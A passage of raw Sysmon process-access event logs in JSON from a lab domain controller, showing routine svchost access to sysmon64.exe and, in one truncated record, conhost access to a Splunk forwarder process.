C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6160,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6161,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6162,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6163,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6164,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6165,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6166,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6167,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:36.557\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4228-5F2D-0000-00107C170900}\r\nTargetProcessId: 4236\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 